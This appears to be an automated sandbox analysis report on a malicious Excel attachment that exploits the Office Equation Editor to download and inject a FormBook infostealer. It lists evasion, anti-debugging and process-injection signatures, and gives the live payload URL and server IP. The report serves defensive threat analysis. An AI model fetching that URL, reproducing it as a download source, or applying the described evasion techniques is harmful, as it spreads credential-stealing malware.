Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2956 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405EC2 FindFirstFileA,FindClose, 4_2_00405EC2
Source: C:\Users\Public\vbc.exe Code function: 4_2_004054EC DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 4_2_004054EC
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402671 FindFirstFileA, 4_2_00402671
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402671 FindFirstFileA, 5_2_00402671
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405EC2 FindFirstFileA,FindClose, 5_2_00405EC2
Source: C:\Users\Public\vbc.exe Code function: 5_2_004054EC DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 5_2_004054EC
Source: vbc.exe, 00000004.00000002.467502213.00000000004D4000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Anti Debugging:

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Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306B472 mov eax, dword ptr fs:[00000030h] 4_2_7306B472
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306B737 mov eax, dword ptr fs:[00000030h] 4_2_7306B737
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306B776 mov eax, dword ptr fs:[00000030h] 4_2_7306B776
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306B7B4 mov eax, dword ptr fs:[00000030h] 4_2_7306B7B4
Source: C:\Users\Public\vbc.exe Code function: 4_2_7306B686 mov eax, dword ptr fs:[00000030h] 4_2_7306B686
Checks if the current process is being debugged
Source: C:\Users\Public\vbc.exe Process queried: DebugPort Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

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Injects a PE file into a foreign processes
Source: C:\Users\Public\vbc.exe Memory written: C:\Users\Public\vbc.exe base: 1C0000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: vbc.exe, 00000005.00000002.673362938.0000000000900000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000005.00000002.673362938.0000000000900000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: vbc.exe, 00000005.00000002.673362938.0000000000900000.00000002.00020000.sdmp Binary or memory string: Program Manager<
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040312A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 4_2_0040312A

Stealing of Sensitive Information:

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Yara detected FormBook
Source: Yara match File source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

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Yara detected FormBook
Source: Yara match File source: 00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, type: MEMORY
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 491746 Sample: ORDERCONFIRMATION_000016799... Startdate: 27/09/2021 Architecture: WINDOWS Score: 100 30 Multi AV Scanner detection for domain / URL 2->30 32 Malicious sample detected (through community Yara rule) 2->32 34 Antivirus detection for URL or domain 2->34 36 11 other signatures 2->36 7 EQNEDT32.EXE 12 2->7         started        12 EXCEL.EXE 33 25 2->12         started        process3 dnsIp4 28 23.94.159.204, 49167, 80 AS-COLOCROSSINGUS United States 7->28 20 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 7->20 dropped 22 C:\Users\Public\vbc.exe, PE32 7->22 dropped 38 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 7->38 14 vbc.exe 17 7->14         started        24 C:\...\~$ORDERCONFIRMATION_00001679918.xlsx, data 12->24 dropped file5 signatures6 process7 file8 26 C:\Users\user\AppData\Local\...\hmrrcvb.dll, PE32 14->26 dropped 40 Multi AV Scanner detection for dropped file 14->40 42 Machine Learning detection for dropped file 14->42 44 Injects a PE file into a foreign processes 14->44 18 vbc.exe 14->18         started        signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
23.94.159.204
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://23.94.159.204/poc/vbc.exe true
  • 11%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown